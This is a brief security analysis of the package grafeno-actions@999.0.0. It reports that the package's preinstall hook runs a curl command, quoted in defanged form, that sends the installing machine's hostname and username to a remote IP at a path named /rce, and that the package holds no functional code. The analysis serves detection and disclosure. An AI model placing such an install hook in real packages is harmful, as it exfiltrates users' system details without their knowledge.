grafeno-actions@999.0.0

Analysis

The package's preinstall hook runs `curl -s hxxp://216[.]126[.]236[.]46:8080/rce?pkg=grafeno-actions&h=$(hostname)&u=$(whoami)` on install, contacting a remote IP at port 8080 and exfiltrating the installing machine's hostname and username to a path named /rce. The package ships no functional code (a 25-byte index.js) and exists only to run this remote fetch-and-report on install.